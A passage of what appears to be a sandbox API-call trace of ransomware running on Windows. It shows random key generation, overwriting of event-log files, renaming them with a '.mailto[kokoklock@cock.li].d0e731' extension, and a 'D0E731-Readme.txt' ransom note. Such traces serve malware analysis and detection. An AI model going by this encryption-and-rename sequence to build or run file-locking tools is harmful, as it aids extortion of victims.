(in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0xa1750684 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x29d485a8 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x16313060 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0xab93233b [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x89cf00fb [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0xcc29bbcf [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x657e0f67 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x981c8348 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0xd39e747f [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0xb7c78237 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x9347353 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0xf68b202f [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x18406863 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x789e8ca3 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x92e4bc8 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0xf70ce64 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x4356f538 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x40872fa1 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x89994168 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x87e37185 [0064.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be348 [0064.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0064.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be370 [0064.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0064.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea78) returned 1 [0064.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5610f48 [0064.275] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.275] ReadFile (in: hFile=0x7bc, lpBuffer=0x5610f48, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xacafa3c, lpOverlapped=0x0 | out: lpBuffer=0x5610f48*, lpNumberOfBytesRead=0xacafa3c*=0x4096, lpOverlapped=0x0) returned 1 [0064.403] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcf20 [0064.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0064.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa68 [0064.404] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa68) returned 1 [0064.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd60 [0064.404] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd60) returned 1 [0064.404] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0064.404] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcf20) returned 1 [0064.404] WriteFile (in: hFile=0x7bc, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xacafa3c, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xacafa3c*=0x4096, lpOverlapped=0x0) returned 1 [0064.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.405] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.405] WriteFile (in: hFile=0x7bc, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xacafa74, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xacafa74*=0x20, lpOverlapped=0x0) returned 1 [0064.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5610f48) returned 1 [0064.405] WriteFile (in: hFile=0x7bc, lpBuffer=0x34be370*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xacafa88, lpOverlapped=0x0 | out: lpBuffer=0x34be370*, lpNumberOfBytesWritten=0xacafa88*=0x8, lpOverlapped=0x0) returned 1 [0064.405] WriteFile (in: hFile=0x7bc, lpBuffer=0xacafaa0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xacafa88, lpOverlapped=0x0 | out: lpBuffer=0xacafaa0*, lpNumberOfBytesWritten=0xacafa88*=0x4, lpOverlapped=0x0) returned 1 [0064.405] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xacafa88, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xacafa88*=0x4, lpOverlapped=0x0) returned 1 [0064.405] WriteFile (in: hFile=0x7bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xacafa88, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xacafa88*=0x6c, lpOverlapped=0x0) returned 1 [0064.405] WriteFile (in: hFile=0x7bc, lpBuffer=0x34be7f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xacafa88, lpOverlapped=0x0 | out: lpBuffer=0x34be7f8*, lpNumberOfBytesWritten=0xacafa88*=0x20, lpOverlapped=0x0) returned 1 [0064.405] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xacafa88, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xacafa88*=0x4, lpOverlapped=0x0) returned 1 [0064.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be7f8) returned 1 [0064.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be348) returned 1 [0064.406] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be370) returned 1 [0064.406] CloseHandle (hObject=0x7bc) returned 1 [0064.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x33e5758 [0064.490] wcscpy (in: _Dest=0x33e5758, _Source="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" [0064.490] wcscat (in: _Dest=0x33e5758, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731" [0064.490] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.521] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.521] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5758) returned 1 [0064.521] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", dwFileAttributes=0x20) returned 0 [0064.521] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34344a8 [0064.521] wcscpy (in: _Dest=0x34344a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.521] wcscat (in: _Dest=0x34344a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.521] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.521] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34344a8) returned 1 [0064.521] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e31d0) returned 1 [0064.521] RtlExitUserThread (Status=0x1) Thread: id = 194 os_tid = 0x1180 [0063.448] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0064.804] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0064.839] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x778 [0064.839] GetFileSizeEx (in: hFile=0x778, lpFileSize=0xad2fafc | out: lpFileSize=0xad2fafc*=69632) returned 1 [0064.839] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.839] ReadFile (in: hFile=0x778, lpBuffer=0xad2fad0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xad2facc, lpOverlapped=0x0 | out: lpBuffer=0xad2fad0*, lpNumberOfBytesRead=0xad2facc*=0x4, lpOverlapped=0x0) returned 1 [0064.840] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0080 [0064.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effb8 [0064.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effe0 [0064.840] NtQuerySystemTime (in: CurrentTime=0xad2faa8 | out: CurrentTime=0xad2faa8*=132121176227388808) returned 0x0 [0064.840] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x768f0619 [0064.840] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x511b89cc [0064.840] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0xde278576 [0064.840] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0xc46c9aea [0064.840] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x8a900183 [0064.840] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x2c008738 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x51c1ef64 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x4252ba5 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x4d942b7f [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x134a4f59 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x8d47dffa [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x4faa379e [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x2f313720 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x753e5176 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x47afda93 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x81ff790 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x24775b1c [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x95530811 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x3c3bf508 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x64b5a1b2 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x8e26915e [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x6e80815f [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x359a7245 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x4bacbf5 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x128627ac [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x4ca7eb03 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0xcc42912e [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0xe72e2e1 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x11a2bc21 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0x767463f7 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0xc29600f9 [0064.841] RtlRandom (in: Seed=0xad2fab4 | out: Seed=0xad2fab4) returned 0xbb6502f0 [0064.850] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0064.852] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34799e8 [0064.853] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb08 [0064.853] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0064.853] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0080) returned 1 [0064.853] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.853] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.853] ReadFile (in: hFile=0x778, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xad2fa80, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xad2fa80*=0x4096, lpOverlapped=0x0) returned 1 [0064.854] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0064.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0080 [0064.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0080) returned 1 [0064.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0080 [0064.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0064.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.855] WriteFile (in: hFile=0x778, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xad2fa80, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xad2fa80*=0x4096, lpOverlapped=0x0) returned 1 [0064.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.855] SetFilePointerEx (in: hFile=0x778, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.855] WriteFile (in: hFile=0x778, lpBuffer=0x33f0080*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xad2fab8, lpOverlapped=0x0 | out: lpBuffer=0x33f0080*, lpNumberOfBytesWritten=0xad2fab8*=0x20, lpOverlapped=0x0) returned 1 [0064.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0080) returned 1 [0064.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.855] WriteFile (in: hFile=0x778, lpBuffer=0x33efb08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xad2facc, lpOverlapped=0x0 | out: lpBuffer=0x33efb08*, lpNumberOfBytesWritten=0xad2facc*=0x8, lpOverlapped=0x0) returned 1 [0064.855] WriteFile (in: hFile=0x778, lpBuffer=0xad2fae4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xad2facc, lpOverlapped=0x0 | out: lpBuffer=0xad2fae4*, lpNumberOfBytesWritten=0xad2facc*=0x4, lpOverlapped=0x0) returned 1 [0064.856] WriteFile (in: hFile=0x778, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xad2facc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xad2facc*=0x4, lpOverlapped=0x0) returned 1 [0064.856] WriteFile (in: hFile=0x778, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xad2facc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xad2facc*=0x6c, lpOverlapped=0x0) returned 1 [0064.856] WriteFile (in: hFile=0x778, lpBuffer=0x33effb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xad2facc, lpOverlapped=0x0 | out: lpBuffer=0x33effb8*, lpNumberOfBytesWritten=0xad2facc*=0x20, lpOverlapped=0x0) returned 1 [0064.856] WriteFile (in: hFile=0x778, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xad2facc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xad2facc*=0x4, lpOverlapped=0x0) returned 1 [0064.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effb8) returned 1 [0064.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0064.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb08) returned 1 [0064.856] CloseHandle (hObject=0x778) returned 1 [0064.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x33e3760 [0064.858] wcscpy (in: _Dest=0x33e3760, _Source="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" [0064.859] wcscat (in: _Dest=0x33e3760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0064.859] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.859] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.860] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3760) returned 1 [0064.860] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0064.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0064.860] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.860] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.860] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.860] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0064.860] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0064.860] RtlExitUserThread (Status=0x1) Thread: id = 195 os_tid = 0x1184 [0063.449] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0064.789] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0064.790] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7a8 [0064.790] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0xadaf904 | out: lpFileSize=0xadaf904*=1052672) returned 1 [0064.790] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.790] ReadFile (in: hFile=0x7a8, lpBuffer=0xadaf8d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xadaf8d4, lpOverlapped=0x0 | out: lpBuffer=0xadaf8d8*, lpNumberOfBytesRead=0xadaf8d4*=0x4, lpOverlapped=0x0) returned 1 [0064.791] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0064.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effe0 [0064.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0148 [0064.791] NtQuerySystemTime (in: CurrentTime=0xadaf8b0 | out: CurrentTime=0xadaf8b0*=132121176226902601) returned 0x0 [0064.791] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x348cfbb8 [0064.791] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x122b9c14 [0064.791] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x2354bf2a [0064.791] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x69ea752 [0064.791] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x7dc6df6c [0064.791] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x28b0f272 [0064.791] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0xb01d564b [0064.791] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x69b6074b [0064.791] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0xd0cecbf4 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0xd99084fb [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x9aeab8a [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x17d67296 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0xc6d927df [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x2f3c385 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0xa91a61bd [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0xe426da68 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x825ba446 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0xa00fe77a [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x12ef09ee [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x43b33355 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0xf8276fe7 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x4d6f7b31 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0xc13b4a3c [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x4e1b479 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x7e481fb3 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x6e0ee37e [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x3b5437c0 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x268f87dd [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0xf9395c1c [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0xc5153177 [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x3c6cdbee [0064.792] RtlRandom (in: Seed=0xadaf8bc | out: Seed=0xadaf8bc) returned 0x7074b49b [0064.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0080 [0064.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0064.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 